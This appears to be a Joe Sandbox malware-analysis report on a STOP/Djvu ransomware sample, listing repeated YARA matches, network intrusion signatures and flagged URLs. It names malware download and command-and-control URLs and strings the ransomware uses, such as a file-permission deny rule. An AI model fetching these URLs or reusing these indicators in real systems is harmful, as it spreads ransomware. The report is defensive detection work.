7.2.kOVwcHSfrR.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.kOVwcHSfrR.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.kOVwcHSfrR.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.kOVwcHSfrR.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.kOVwcHSfrR.exe.26a15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.kOVwcHSfrR.exe.26a15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.kOVwcHSfrR.exe.26a15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.kOVwcHSfrR.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.kOVwcHSfrR.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.kOVwcHSfrR.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.kOVwcHSfrR.exe.27315a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.kOVwcHSfrR.exe.27315a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.kOVwcHSfrR.exe.27315a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.kOVwcHSfrR.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.kOVwcHSfrR.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.kOVwcHSfrR.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.kOVwcHSfrR.exe.27315a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.kOVwcHSfrR.exe.27315a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.kOVwcHSfrR.exe.27315a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
20.2.kOVwcHSfrR.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
20.2.kOVwcHSfrR.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
20.2.kOVwcHSfrR.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
20.2.kOVwcHSfrR.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
20.2.kOVwcHSfrR.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
20.2.kOVwcHSfrR.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.kOVwcHSfrR.exe.26715a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.kOVwcHSfrR.exe.26715a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.kOVwcHSfrR.exe.26715a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.kOVwcHSfrR.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.kOVwcHSfrR.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.kOVwcHSfrR.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.kOVwcHSfrR.exe.28515a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.kOVwcHSfrR.exe.28515a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.kOVwcHSfrR.exe.28515a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.kOVwcHSfrR.exe.26715a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.kOVwcHSfrR.exe.26715a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.kOVwcHSfrR.exe.26715a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.kOVwcHSfrR.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.kOVwcHSfrR.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.kOVwcHSfrR.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.kOVwcHSfrR.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.kOVwcHSfrR.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.kOVwcHSfrR.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.kOVwcHSfrR.exe.28515a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.kOVwcHSfrR.exe.28515a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.kOVwcHSfrR.exe.28515a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.kOVwcHSfrR.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.kOVwcHSfrR.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.kOVwcHSfrR.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
19.2.kOVwcHSfrR.exe.26c15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
19.2.kOVwcHSfrR.exe.26c15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.kOVwcHSfrR.exe.26c15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.kOVwcHSfrR.exe.26a15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.kOVwcHSfrR.exe.26a15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.kOVwcHSfrR.exe.26a15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 55 entries

Snort Signatures

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.10 - Destination IP: 187.211.34.211

Timestamp:	192.168.2.10187.211.34.21149707802020826 01/09/24-15:46:09.747747
SID:	2020826
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.10 - Destination IP: 187.211.34.211

Timestamp:	192.168.2.10187.211.34.21149707802036333 01/09/24-15:46:09.747747
SID:	2036333
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.10 - Destination IP: 186.182.55.44

Timestamp:	192.168.2.10186.182.55.4449715802036333 01/09/24-15:46:20.055152
SID:	2036333
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 186.182.55.44 - Destination IP: 192.168.2.10

Timestamp:	186.182.55.44192.168.2.1080497082036335 01/09/24-15:46:12.646828
SID:	2036335
Source Port:	80
Destination Port:	49708
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.10 - Destination IP: 186.182.55.44

Timestamp:	192.168.2.10186.182.55.4449715802020826 01/09/24-15:46:20.055152
SID:	2020826
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 186.182.55.44 - Destination IP: 192.168.2.10

Timestamp:	186.182.55.44192.168.2.1080497092036335 01/09/24-15:46:12.541258
SID:	2036335
Source Port:	80
Destination Port:	49709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.10 - Destination IP: 186.182.55.44

Timestamp:	192.168.2.10186.182.55.4449708802833438 01/09/24-15:46:11.614730
SID:	2833438
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://zexeq.com/files/1/build3.exe$run	URL Reputation: Label: malware
Source: http://zexeq.com/files/1/build3.exe	URL Reputation: Label: malware
Source: http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true	Avira URL Cloud: Label: malware
Source: http://zexeq.com/test1/get.php	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exe$runXf	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exerun0	Avira URL Cloud: Label: malware
Source: http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDDT	Avira URL Cloud: Label: malware
Source: http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDDz	Avira URL Cloud: Label: malware
Source: http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=truej	Avira URL Cloud: Label: malware
Source: http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exe$runNf	Avira URL Cloud: Label: malware
Source: http://brusuax.com/dl/build2.exe	Avira URL Cloud: Label: malware
Source: http://brusuax.com/dl/build2.exe$run	Avira URL Cloud: Label: malware
Source: http://brusuax.com/dl/build2.exerund61fjaN	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exe$runUf	Avira URL Cloud: Label: malware

Found malware configuration

